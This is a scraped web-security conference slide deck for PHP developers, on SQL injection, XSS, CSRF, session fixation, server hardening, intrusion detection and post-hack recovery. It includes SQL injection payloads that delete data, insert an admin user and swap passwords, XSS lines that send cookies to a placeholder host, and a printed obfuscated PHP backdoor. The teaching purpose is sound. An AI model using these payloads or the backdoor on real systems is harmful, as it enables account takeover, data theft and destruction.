SlideShare une entreprise Scribd logo
1  sur  135
Télécharger pour lire hors ligne
Wim Godden
Cu.be Solutions
@wimgtr
My app is secure...
I think
Who am I ?
Wim Godden (@wimgtr)
Where I'm from
Where I'm from
Where I'm from
Where I'm from
Where I'm from
Where I'm from
My town
My town
Belgium – the traffic
Who am I ?
Wim Godden (@wimgtr)
Founder of Cu.be Solutions (http://cu.be)
Open Source developer since 1997
Developer of PHPCompatibility, OpenX, ...
Speaker at PHP and Open Source conferences
Who are you ?
Developers ?
System engineers ?
Network engineers ?
Ever had a hack ?
Through the code ?
Through the server ?
This tutorial
Based on 2-day training
Full stack → no Vagrant/VirtualBox required
Code samples will be provided after tutorial
Lots of links at the end → slides on Joind.in
My app is secure... I think
Basic stuff = known...
… or is it ?
Code is not enough
Code
Webserver
Database server
Operating system
Network
Disclaimer
Do not use these techniques to hack
Use the knowledge to prevent others from hacking you
Reasons for hackers to hack
Steal and sell your data
Use your infrastructure as a jumpstation to hack other servers
Send out lots of spam
Use your server in a botnet for DDOS attacks
Bring down your systems
…
Part 1 : the most common attacks
OWASP
Open Web Application Security Project
www.owasp.org
Top 10
SQL Injection (OWASP #1)
Over 15 years
Still #1 problem
SQL Injection (OWASP #1)
<?
require("header.php");
$hostname="localhost";
$sqlusername="someuser";
$sqlpassword="somepass";
$dbName="somedb";
MYSQL_CONNECT($hostname,$sqlusername,$sqlpassword) OR DIE("Unable to connect to database.");
@mysql_select_db("$dbName") or die("Unable to select database.");
$fp=fopen("content/whatever.php","r");
while (!feof($fp))
$content.=fgets($fp,2);
$res=MYSQL_DB_QUERY("somedb","select * from whatever where id=" . $_GET['id']);
for ($cnt=0;$cnt<MYSQL_NUMROWS($res);$cnt++)
{
$lst.="<LI>".MYSQL_RESULT($res,$cnt,"text")."</LI>n";
}
$content=str_replace("<@textstring@>",$lst,$content);
print $content;
require("footer.php");
?>
SQL Injection (OWASP #1)
Over 15 years
Still #1 problem
Easy to exploit
Easy to automate (scan + exploit)
Often misunderstood
Standard SQL injection example
<?php
$query = "select * from user where email='" . $_POST['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'All is good';
} else {
echo 'Nobody home';
}
' OR '1'='1
select * from user where email='' OR '1'='1'
E-mail :
Standard SQL injection example
<?php
$query = "select * from user where email='" . $_POST['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'All is good';
} else {
echo 'Nobody home';
}
' OR '1'='1
select * from user where '1'='1'
E-mail :
Standard SQL injection example
<?php
$query = "select * from user where email='" . $_POST['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'All is good';
} else {
echo 'Nobody home';
}
' OR '1'='1
select * from user;
E-mail :
Typical pre-2005 site
Your mission (impossible) : secure the site !
index.php
contact.php
register.php
login.php
Once logged in :
main.php
… (all other content)
SQL injection – sample – lostpassword.php
<?php
$query = "select * from user where email='" . $_POST['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'Error !';
} else {
if (mysql_numrows($result) == 0) {
echo 'E-mail address not found';
} else {
$newpass = updatepassword(mysql_result($result, 0, 'email'));
mail($_POST['email'], 'New password', 'New password: ' . $newpass);
echo 'New password sent to ' . mysql_result($result, 0, 'email');
}
}
SQL injection – sample – lostpassword
lostpassword.php?email=whatever@me.com%27+OR+%271%27%3D%271
email=whatever@me.com' OR '1'='1
select * from user where email='whatever@me.com' OR '1'='1'
Worst case : data deletion
email=whatever@me.com' OR '1'='1'; delete from user where '1'='1
Knowing the table structure
email=whatever@me.com' AND email is NULL; --'
select * from user where email='whatever@me.com' AND email is NULL; --';
<?php
$query = "select * from user where email='" . $_GET['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'Error !';
} else {
if (mysql_numrows($result) == 0) {
echo 'Not found';
} else {
$newpass = updatepassword(mysql_result($result, 0, 'email'));
mail($_GET['email'], 'New password', 'Your new password is ' . $newpass);
echo 'Your new password was sent to ' . mysql_result($result, 0, 'email');
}
}
Other fields ?
id
firstname / first_name
lastname / last_name
password / pass / pwd
is_admin / isadmin / admin
…
email=whatever@me.com'; INSERT INTO user('email', 'password', 'firstname',
'lastname', 'is_admin') values('myhackeraddress@gmail.com', md5('reallyinsecure'),
'My', 'New User', 1); --';
Update, retrieve password, update again
email=whatever@me.com'; UPDATE user set
email='myhackeraddress@gmail.com' where email='some-user-
we@found.com'; --';
Retrieve password for myhackeraddress@gmail.com
email=whatever@me.com'; UPDATE user set email='some-user-
we@found.com' where email='myhackeraddress@gmail.com'; --';
Hackers just want your data
email=whatever@me.com' OR 1=1 limit 1, 1; --';
email=whatever@me.com' OR 1=1 limit 2, 1; --';
email=whatever@me.com' OR 1=1 limit 3, 1; --';
...
They want ALL data (not just email addresses)
Field name Type
id int
username varchar(32)
password varchar(64)
firstname varchar(32)
lastname varchar(32)
address varchar(255)
zip varchar(8)
city varchar(32)
country varchar(3)
... ...
They want ALL data (not just email addresses)
Field name Contents
password hoh8asfdgih$0h3oh#hflkdsafhfsdfdsaf
address Hollywood Blvd. 32
They want ALL data (not just email addresses)
Field name Contents
password hoh8asfdgih$0h3oh#hflkdsafhfsdfdsaf
address Hollywood Blvd. 32|||hoh8asfdgih$0h3oh#hflkdsafhfsdfdsaf
They want ALL data (not just email addresses)
email=whatever@me.com'; UPDATE user set address=concat(address, '|||',
password), email='myhackeraddress@gmail.com' where email='some-user-
we@found.com'; --';
Retrieve password for myhackeraddress@gmail.com
Start scraping !
email=whatever@me.com'; UPDATE user set
password=substring_index(address, '|||', -1),
address=substring_index(address, '|||', 1), email='some-user-
we@found.com' where email='myhackeraddress@gmail.com'; --';
SQL Injection – much more...
Much more than logging in as a user
SQL injection possible → wide range of dangers
Fixing SQL injection : attempt #1
Addslashes() ?
$query = mysql_query('select * from user where id=' . addslashes($_GET['id']));
www.hack.me/id=5%20and%20sleep(10)
select * from user where id=5 and sleep(10)
What if we hit that code 100 times simultaneously ?
MySQL max_connections reached → Server unavailable
Fixing SQL injection : attempt #2
mysql_real_escape_string()
mysqli_real_escape_string()
pg_escape_string()
...
Fixing SQL injection : use prepared statements
$select = 'select * from user where email = :email';
$stmt = $db->prepare($select);
$stmt->bindParam(':email', $_GET['email']);
$stmt->execute();
$results = $stmt->fetchAll();
ORM tools
Doctrine, Propel, …
When using their query language → OK
Beware : you can still execute raw SQL !
Other injections
LDAP injection
Command injection (system, exec, …)
→ Use escapeshellarg() for the arguments
Eval (waaaaaaaaaah !)
…
User input → PHP → External system
If you provide the data, it's your responsibility !
If you consume the data, it's your responsibility !
Demo
<?php
mysql_connect('localhost', 'sqlinjection', 'password') or die('Not working');
mysql_select_db('sqlinjection');
$result = mysql_query("select * from user where email='" . $_GET['email'] . "'");
if (mysql_numrows($result) > 0) {
echo mysql_result($result, 0, 'name');
} else {
echo 'Error';
}
Bobby Tables
Session fixation
www.our-app.com
1
2
PHPSESSID=abc123
3
4
www.our-app.com/
?PHPSESSID=abc123
6
www.our-app.com/
?PHPSESSID=abc123
<html>
…
<a href=”http://www.our-app.com/?PHPSESSID=abc123”>Verify your account</a>
…
</html>
5
Login
Session fixation
angel.cloud.com
1
Create evil PHP code
4
Session cookie on
.cloud.com
+
redirect
2
3
devil.cloud.comdevil.cloud.com
5
Login6
Use evil session cookie
<html>
…
<a href=”http://devil.cloud.com”>Verify your account</a>
…
</html>
Session hijacking
www.our-app.com
PHPSESSID=
abcdef123
PHPSESSID=
abcdef123
Ways to avoid session fixation/hijacking
session.use_trans_sid = 0
session.use_only_cookies = true
session.cookie_httponly = true
Change session on login using session_regenerate_id(true)
Do not share sessions between sites/subdomains
Do not accept sessions not generated by your code
Foreign session → remove the session cookie from the user
Regenerate session regularly using session_regenerate_id(true)
Use HTTPS
session.cookie_secure = true
All of the above help against session fixation AND session
hijacking !
XSS – Cross Site Scripting
<?php
addMessage($_GET['id'], $_GET['message']);
echo 'Thank you for submitting your message : ' . $_GET['message'];
URL : /submitMessage
http://www.our-app.com/submitMessage?id=5&message=<script>alert('Fun eh ?')</script>
XSS – more advanced
http://www.our-app.com/submitMessage?id=5&message=Thanks, we will be in
touch soon.<script type="text/javascript" src="http://someplace.io/i-will-get-your-
cookie.js"></script>
XSS – Advanced, yet simple
<img src=x onerror=this.src='http://someplace.io/post-the-cookie-
here.php?c='+document.cookie>
http://www.our-app.com/?id=5&message=Thanks
%2C+we+will+be+in+touch+soon.%3Cimg+src%3Dx+onerror%3Dthis.src%3D
%27http%3A%2F%2Fsomeplace.io%2Fpost-the-cookie-here.php%3Fc%3D
%27%2Bdocument.cookie%3E%0D%0A
XSS : Non-persisted vs persistent
Previous examples were non-persistent : issue occurs once
Post code to exploitable bulletin board
→ Persistent
→ Can infect every user
→ If you stored it without filtering, you're responsible for escaping on
output !
XSS : how to avoid
Filter input, escape output
<?php
echo 'I just submitted this message : ' .
htmlentities($_GET['message'], ENT_QUOTES, 'UTF-8', false);
CSRF : Cross Site Request Forgery
www.our-app.com
1
Submit article
for review
2
Retrieve articlefor review
3
Evil html or jsmakes call
4
Devil uses extra
privileges
Here's the article you were asking for.
<img src=”http://www.our-app.com/userSave.php?username=Devil&admin=1” />
CSRF : ways to avoid
Escape the output (where did we hear that before ?)
Add a field to forms with a random hash/token for verification
upon submit
Check the referer header
<form method="post" action="userSave.php">
<input name="id" type="hidden" value="5" />
<input name="token" type="hidden" value="a4gjogaihfs8ah4gisadhfgifdgfg" />
rest of the form
</form>
General rules – input validation
Assume all data you receive as input
contains a hack attempt !
That includes data from trusted users
→ over 90% of hacks are done by employees/partners/...
Filter on disallowed characters
Check validity of
Dates
Email addresses
URLs
etc.
Input validation is not browser-side code, it's server-side code
(you can ofcourse use browser-side code to make it look good)
General rules – validation or filtering ?
Validation :
Verify if the values fit a defined format
Examples :
expecting int, but received 7.8 → “error, 7.8 is not a valid integer”
expecting international phone number, but received “+32 3 844 71 89”
Filtering / sanitizing :
Enforce the defined format by converting to it
Examples :
expecting int, but received 7.8 → 8
expecting int, but received 'one' → 0
Both have (dis)advantages
General rules – escaping output
Doing input validation → why do you need output escaping ?
What if the data originates from
a webservice
an XML feed
…
Always escape output !
Clickjacking
Do you want to
support
our cause ?
NoSure
Do you want to
delete all your
Facebook
friends ?
Yes No
FB button
Clickjacking - solutions
Sending X-Frame-Options header :
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
Sending frame-ancestor directive :
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors example.com wikipedia.org
Jump out of iframe (use Framekiller)
Bad authentication / authorization layer
index.php
(checks cookie)
login.php
(sets cookie)
redirect
to login
main.php
redirect
to main
Bad authentication / authorization layer
index.php
(checks cookie)
login.php
(sets cookie)
redirect
to login
main.php
(doesn't check
cookie !)
redirect
to main
Bad authentication / authorization layer
Only hiding URLs on view, not restricting on action
/somewhere is visible on screen
/somewhere/admin is not visible, but is accessible
Allowing direct access to other user's data (= insecure direct
object reference)
/user/profile/id/311 is the user's profile
/user/profile/id/312 is also accessible and updateable
Allowing direct access to file downloads with guessable urls
/download/file/83291.pdf
Creating cookies :
loggedin=1
userid=312
admin=1
Protecting your web stack
PHP
Webserver
Database server
Mail server
Other servers
Firewalls
...
Protecting your web stack - PHP
Update to the latest version (5.4 = EOL, 5.5 will be EOL this
year)
Safe_mode = dead → use PHP-FPM or VMs
Register_globals = dead :-)
Suhosin patch → mostly for web hosting companies
Disable 'dangerous' PHP functions you don't need in php.ini
system
exec
passthru
'Eval' is not a function, so can not be disabled
Protecting your web stack – PHP code
If you allow uploads, restrict extensions. No .php, .phtml !
Don't show errors...
Protecting your web stack – PHP code
If you allow uploads, restrict extensions. No .php, .phtml !
Don't show errors...
...and don't show exceptions, but...
…log them ! And watch your logs ;-)
If you use filenames as parameters
download.php?filename=test.pdf
Make sure you don't allow ../../../../etc/passwd
Use basename() and pathinfo() to restrict
File extensions :
Use .php
Don't use .inc, .conf, .include, ...
Detecting / blocking hack attempts from PHP
2 options :
Build your own
Use an existing system
CAPTCHA
IDS
Building a simple system
Add an input field that's hidden from view (bots will fill it out)
Implement a captcha
Limit number of attempts on captcha
Limit number of posts to certain URL
Limiting number of posts to a URL
function isUserBlocked($userId) {
$submissions = $memcache->get('submissions_' . $userId);
if ($submissions->getResultCode() == Memcached::RES_NOTSTORED) {
$submissions = array();
}
$now = new DateTimeImmutable();
if (count($submissions) == 10) {
if (new DateTime($submissions[9]) > $now->modify('-1 hour')) {
return false;
}
unset($submissions[9]);
}
array_unshift($submissions, $now->format(DateTime::ATOM));
$memcache->set('submissions_' . $userId, $submissions);
return true;
}
Using an existing system
PHPIDS :
The standard IDS for PHP
More complete
Exposé :
By @enygma (Chris Cornutt)
Faster
Use the same ruleset
Provides impact value =
level of trust in data
$data = array(
'POST' => array(
'test' => 'foo',
'bar' => array(
'baz' => 'quux',
'testing' => '<script>test</script>'
)
)
);
$filters = new ExposeFilterCollection();
$filters->load();
$logger = new ExposeLogMongo();
$manager = new ExposeManager($filters, $logger);
$manager->run($data);
// should return 8
echo 'impact: '.$manager->getImpact()."n";
Protecting your web stack – Passwords
Don't md5() → sha512, blowfish, …
Set a good password policy
Min 8 chars, min 1 number, min 1 uppercase char, …
Reasonable maximum length (> 20)
→ Hashed result is always the same length, so restricting is insecure
Try to avoid password hints
→ Email is better for recovery
Don't create your own password hashing algorithm !
Use password_hash
5.5+ : built-in
< 5.5 : ircmaxell/password-compat
Password_hash
$hash = password_hash($_POST['password'], PASSWORD_DEFAULT);
$options = array('cost' => 15);
if (password_verify($password, $hash)) {
if (password_needs_rehash($hash, PASSWORD_DEFAULT, $options)) {
$newhash = password_hash($password, PASSWORD_DEFAULT, $options);
}
echo 'Password correct';
} else {
echo 'Password incorrect';
}
Calculating password hash :
Verifying password hash :
Rehashing old passwords from md5() or sha1()
$stmt = $db->prepare('SELECT * FROM user where email=:email');
$stmt->execute(':email' => $email));
$userRow = $stmt->fetch(PDO::FETCH_ASSOC);
if ($stmt->rowCount() > 0)
if (password_verify($password, $hash) || $userRow['pass'] == md5($password)){
// password_needs_rehash will return true when presented with unknown hash
if (password_needs_rehash($hash, PASSWORD_DEFAULT)) {
$newhash = password_hash($password, PASSWORD_DEFAULT);
$stmt = $db->prepare('UPDATE user SET pass=:pass WHERE email=:email');
$stmt->bindparam(':email', $email);
$stmt->bindparam(':pass', $newhash);
$stmt->execute();
}
// Set logged in data in session here, then redirect to logged in page
}
}
echo 'Password incorrect';
Tell users who haven't logged in for a while that their password
will expire in x days
Upon login :
2 factor authentication
Requires an additional verification
Usually on a separate device
Can be one-time, occasional or every time
Log everything !
Failed login attempts
→ Lock an account after x number of failed attempts for x minutes
→ Send automated e-mail to account owner
Simultaneous login from multiple locations
Logins from different regions on same day
→ But : beware of VPNs
If possible : every action of a user
Registered user
Anonymous user (link session to IP or Ips)
Log all PHP errors
→ Every error is important
→ If an error is a bug, it should have been fixed already
Protecting your web stack – Webserver
Block direct access to upload directories
Access to private files, uploads, ...
Protecting your web stack – Webserver
Block direct access to upload directories
Allow only access to port 80 and 443 (!)
Disable phpMyAdmin (VPN only if required)
On Apache don't :
AllowOverride All
Options Indexes
Block access to .svn and .git
Block access to composer.lock, composer.json, …
(which should be outside your webroot normally)
composer.lock
composer.lock
Protecting your web stack – Webserver
Protecting your web stack – Webserver
Don't run web server as root
Don't let web server user access anything outside web root
Detect and ban flood/scan attempts in Nginx :
http {
limit_conn_zone $binary_remote_addr zone=conn_limit_per_ip:10m;
limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=5r/s;
server {
limit_conn conn_limit_per_ip 10;
limit_req zone=req_limit_per_ip burst=10 nodelay;
}
}
Use automatic logfile scanner & banner
Example : Fail2ban
[http-get-dos]
enabled = true
port = http,https
filter = http-get-dos
logpath = /var/log/nginx/access.log
maxretry = 300
findtime = 300
bantime = 600
action = iptables[name=HTTP, port=http, protocol=tcp]
Protecting your web stack – Versions
Don't expose versions
PHP : expose_php = 0
Apache :
ServerTokens ProductOnly
ServerSignature Off
Nginx
server_tokens off;
Protecting your web stack – Database server
No access from the web required
Give it a private IP
Other websites on network ?
→ send traffic over SSL
1 user per DB
1 DB per user
1 DB per application
Protecting your web stack – Mail server
Setup SSL for POP3, IMAP, SMTP
Setup DomainKeys
Setup SPF (Sender Policy Framework)
Protecting your web stack – DNS server
Possible weak point in architecture
Controls web, MX (mail) records, anti-spam, etc.
DNS hijacking
DNS spoofing
Protecting your web stack
Use public/private key pairs for SSH, not passwords
Don't login as root
→ Use sudo for commands that really need it
Allow SSH access only from VPN
Running
Memcached ?
Gearman ?
… ?
→ Block external access
Recently...
Recently...
Recently...
Lack of updates
Not updating system packages
Not updating frameworks and libraries
Not just main components
Doctrine
Bootstrap
Javascript libraries
etc.
Not updating webserver software
Not updating database server software
Recently :
Heartbleed (OpenSSL)
Shellshock (Bash)
Ghost (Glibc)
Protecting your web stack - firewalls
Separate or on-server
Default policy = deny all
Don't forget IPv6 !!!
Perform regular scans from external location
Use blacklists to keep certain IP ranges out
Protect your backups
Should be encrypted with public key
Private key should be stored in 2 separate locations
Backups should never be stored on same server
Backup server should pull backups
MySQL : use the binlog
Setup Master-Slave (even if you don’t have a Slave !)
Master creates binlog
Allows recovery to a specific second
Backup the binlogs for 7-10 days
MySQL backup : mysqldump with --opt --single-transaction
(preferably on slave to avoid locking users)
First action of a hacker
Make sure they don't lose the access they gained
Create new user → easy to detect
Install a custom backdoor
→ easy to detect with good IDS
Install a backdoor based on installed software
→ Example : start SSHD with different config on different port (remember firewall ?)
→ Harder to detect
→ Kill it... what happens ?
→ Probably restarts via cronjob
Using an Intrusion Detection System
Host-based Intrusion Detection System (HIDS)
Network-based Intrusion Detection System (NIDS)
Host-based Intrusion Detection System
Scans the file system for changes
New/deleted files
Modified files (based on checksum)
File permission changes
Old systems are standalone :
AIDE, Tripwire, AFICK
Easy to update by hacker, not recommended (unless combined with
backup system)
Intrusion detection by backup
Best Open Source tool = OSSEC
Client-server-based architecture → real-time notification that hacker
can't stop
Centralized updates
OSSEC - WebUI
OSSEC - Analogi
OSSEC structure
OSSEC integration
Decentralized alternative : Samhain
Can be used centralized or standalone
Log to syslog, send email, write to DB
Processing on the client
Improves processing speed
Requires CPU power on client
Network-based Intrusion Detection Systems
Snort
Open Source
Supported by Cisco (rules are not free)
Analyzes traffic, blocks malicious traffic
Huge user base, tons of addons
Snort
Network-based Intrusion Detection Systems
Sirucata
Similar to Snort
Multi-threaded
Supports hardware acceleration (packet inspection by GPU !)
Detects malware in traffic
Scripting engine : Lua (with LuaJIT)
Sirucata + Kibana
Network-based Intrusion Detection Systems
Kismet
Wireless IDS
Detects rogue access points
Prevents MITM attacks
Detects hidden access points
Kismet
What's the problem with public wifi ?
Traffic can be intercepted
Traffic hijacking / injection
Forcing site to use HTTPS fixes it right ?
What if user goes to some other HTTP site and I inject <img
src=”http://yoursite.com/someurl”> ?
→ Session cookies are transmitted over HTTP
Use HSTS
HTTP Strict Transport Security
Tells browser to use only HTTPS connections
Strict-Transport-Security: max-age=expireTime [; includeSubDomains] [;
preload]
Chrome 4+, FF 4+, IE 11+, Opera 12+, Safari 7+
One IDS distro to rule them all
Security Onion
Based on Ubuntu
Contains all the IDS tools...
...and much more
You've been hacked ! Now what ? (1/4)
Take your application offline
→ Put up a maintenance page (on a different server)
Take the server off the public Internet
Change your SSH keys
Make a full backup
Check for cronjobs
Check access/error/... logs
(And give them to legal department)
Were any commits made from the server ?
→ Your server shouldn't be able to !
What a PHP hack might look like
eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0
xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFf
OF8zXzEvY2F0YWxvZy9pbmNsdWRlcy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKSl7aW
5jbHVkZV9vbmNlKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFfOF8zXzEvY2F0YWxvZy9pbmNsdWRl
cy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbC
cpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRl
Y29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW
9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRG
ODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5RTQxKSsxO31pZigkUjZCNk
U5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygk
UjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKS
sxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVF
NDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRk...'));
What a PHP hack might look like
What a PHP hack might look like
$GLOBALS['_226432454_']=Array();
function _1618533527($i)
{
return '91.196.216.64';
}
$ip=_1618533527(0);
$GLOBALS['_1203443956_'] = Array('urlencode');
function _1847265367($i)
{
$a=Array('http://','/btt.php?
ip=','REMOTE_ADDR','&host=','HTTP_HOST','&ua=','HTTP_USER_AGENT','&ref=','HTTP_REFERER');
return $a[$i];
}
$url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) .
$_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)])
._1847265367(7) .$_SERVER[_1847265367(8)];
$GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt',
'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents');
function _393632915($i)
{
return 'curl_version';
}
What a PHP hack might look like - location
Changes to .htaccess
Files in upload directory
PHP code in files with different extension
New modules/plugins for Drupal/Wordpress
You've been hacked ! Now what ? (2/4)
Search system
preg_replace
base64_decode
eval
system
exec
passthru
Search system and database
script
iframe
You've been hacked ! Now what ? (3/4)
Find out how the hack happened ;-)
Write an apology to your customers
Finally :
Reinstall the OS (from scratch !)
Update all packages to the latest version
Don't reinstall code from backup !
Install source code from versioning system
Restore DB from previous backup (use binary log file)
Restoring your database to a specific point
Turn on binary log
Usually for master-slave replication
Useful for fast recovery
Make sure it can handle >24h of data
Make a daily database backup
Make a db dump to a file (mysqldump, …)
Warning : locking danger → do this on the slave !
Backup the db dump file
To recover :
Restore the db dump file
Disable db access (webserver, internal users, phpMyAdmin, ...)
Import db dump file to db
Replay binary log (mysqlbinlog …)
You've been hacked ! Now what ? (4/4)
Install IDS
Get an external security audit on the code
Get an external security audit on the system/network setup
Change user passwords
Relaunch
Cross your fingers
Side note : GDPR
General Data Protection Regulation
New European privacy law
1 law for all member states
Takes effect May 25, 2018
Fines for data loss of up to
4% of annual turnover
or
20 million Euros
(whichever is higher)
GDPR – what is private data ?
Anything that identifies a private individual
A unique name
‘Mike Johnson’ is not very unique, but combined with other things it is
‘Wim Godden’ is
An e-mail address
An IP address
A combination of data
Order + address
...
GDPR – basic guidelines
Privacy by design
Security by design
Only store the private data that you really need
Procedures must be created for how data is :
Stored
Processed
Deleted
Backed up
These procedures will serve as a way to prove you’ve done all
you can
Takeaways
Think like a hacker
Can I steal data ? Can I DOS the site ?
Which techniques could I use to do it ?
Try it without looking at the code
Try it while looking at the code
Use SSL/HTTPS everywhere !
Block all traffic, then allow only what's needed
Sanitize/filter your input
Escape your output
Block flooders/scanners
Use an IDS
Never trust a hacked system
Prepare for GDPR
The software discussed (and more)
General resources
OWASP : www.owasp.org
SANS : http://www.sans.org/security-resources/
SecurityFocus : http://www.securityfocus.com/
CERT : http://cert.org/
SecTools : http://sectools.org/
SQL injection
Havij (automated tool) – WARNING – trojan infected !!!! :
https://thepirateboat.eu/torrent/8410326/Havij_v1.17ProCracked.7z
sqlmap (automated – open source) : http://sqlmap.org/
Clickjacking demo :
https://www.youtube.com/watch?v=3mk0RySeNsU
The software discussed (and more)
Password use in PHP
5.5+ : password_hash function : http://php.net/password_hash
< 5.5 : password_compat :
https://github.com/ircmaxell/password_compat
SSL certificates
RapidSSL FreeSSL : https://www.freessl.com/
Let's Encrypt (free) : https://letsencrypt.org/
StartSSL : https://www.startssl.com
Block access to .svn and .git :
http://blogs.reliablepenguin.com/2014/06/26/block-access-git-svn-fol
The software discussed (and more)
Webserver flood/scan detection
Nginx : http://nginx.com/resources/admin-guide/restricting-access/
Multi-webserver : http://www.fail2ban.org
Proxy-based :
http://www.ecl-labs.org/2011/03/17/roboo-http-mitigator.html
Protecting your mail server
SPF and DomainKeys :
http://www.pardot.com/faqs/administration/adding-spf-domainkeys-dns/
DNS
Hijacking : http://www.gohacking.com/dns-hijacking/
Spoofing :
http://www.windowsecurity.com/articles-tutorials/authentication_and_encryptio
IPv6 – don't forget to firewall it the same way :
https://www.sixxs.net/wiki/IPv6_Firewalling
The software discussed (and more)
Slow HTTP DOS attacks :
https://www.acunetix.com/blog/articles/slow-http-dos-attacks-mitigate
IDS
PHP
PHPIDS : https://github.com/PHPIDS/PHPIDS
Exposé : https://github.com/enygma/expose
Host-based
OSSEC : www.ossec.net
Samhain : http://www.la-samhna.de/samhain/
AIDE : http://aide.sourceforge.net/
Network-based
Snort : https://www.snort.org/
Sirucata : http://suricata-ids.org/
All in one : Security Onion : http://blog.securityonion.net/
The software discussed (and more)
Penetration testing live CD :
Backtrack Linux : http://www.backtrack-linux.org/
Kali Linux : https://www.kali.org/
Automatic scanning tools :
Nessus : http://www.tenable.com/products/nessus-vulnerability-scanner
Wapiti : http://wapiti.sourceforge.net/
Nexpose : http://www.rapid7.com/products/nexpose/
Web App Scanning / Auditing :
w3af : http://w3af.org/
Wapiti : http://wapiti.sourceforge.net/
Nikto2 : https://cirt.net/nikto2
Questions ?
Questions ?
In case you're interested
Tutorial : 2,5h - 3h
Training : 2 days
1,5 days of interactive training (partly slides, partly hands-on)
Try out different security issues
Experiment on local virtualboxes and physical machines we bring along
0,5 day of auditing
Your code
Your servers
Your network
As a global team effort or in smaller teams
More details : https://cu.be/training
Contact
Twitter @wimgtr
Slides http://www.slideshare.net/wimg
E-mail wim@cu.be
Please provide feedback via :
https://joind.in/

Contenu connexe

Tendances

Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?
ConFoo
 
The Art Of Readable Code
The Art Of Readable CodeThe Art Of Readable Code
The Art Of Readable Code
Baidu, Inc.
 
Marrow: A Meta-Framework for Python 2.6+ and 3.1+
Marrow: A Meta-Framework for Python 2.6+ and 3.1+Marrow: A Meta-Framework for Python 2.6+ and 3.1+
Marrow: A Meta-Framework for Python 2.6+ and 3.1+
ConFoo
 
Is HTML5 Ready? (workshop)
Is HTML5 Ready? (workshop)Is HTML5 Ready? (workshop)
Is HTML5 Ready? (workshop)
Remy Sharp
 
Zf2 how arrays will save your project
Zf2   how arrays will save your projectZf2   how arrays will save your project
Zf2 how arrays will save your project
Michelangelo van Dam
 

Tendances (20)

When dynamic becomes static: the next step in web caching techniques
When dynamic becomes static: the next step in web caching techniquesWhen dynamic becomes static: the next step in web caching techniques
When dynamic becomes static: the next step in web caching techniques
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
The promise of asynchronous php
The promise of asynchronous phpThe promise of asynchronous php
The promise of asynchronous php
 
Natural Task Scheduling Using Futures and Continuations, Ivan Čukić, Qt Devel...
Natural Task Scheduling Using Futures and Continuations, Ivan Čukić, Qt Devel...Natural Task Scheduling Using Futures and Continuations, Ivan Čukić, Qt Devel...
Natural Task Scheduling Using Futures and Continuations, Ivan Čukić, Qt Devel...
 
Perl object ?
Perl object ?Perl object ?
Perl object ?
 
PHP security audits
PHP security auditsPHP security audits
PHP security audits
 
Building a Pyramid: Symfony Testing Strategies
Building a Pyramid: Symfony Testing StrategiesBuilding a Pyramid: Symfony Testing Strategies
Building a Pyramid: Symfony Testing Strategies
 
Virtual Madness @ Etsy
Virtual Madness @ EtsyVirtual Madness @ Etsy
Virtual Madness @ Etsy
 
Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
 
Guard Authentication: Powerful, Beautiful Security
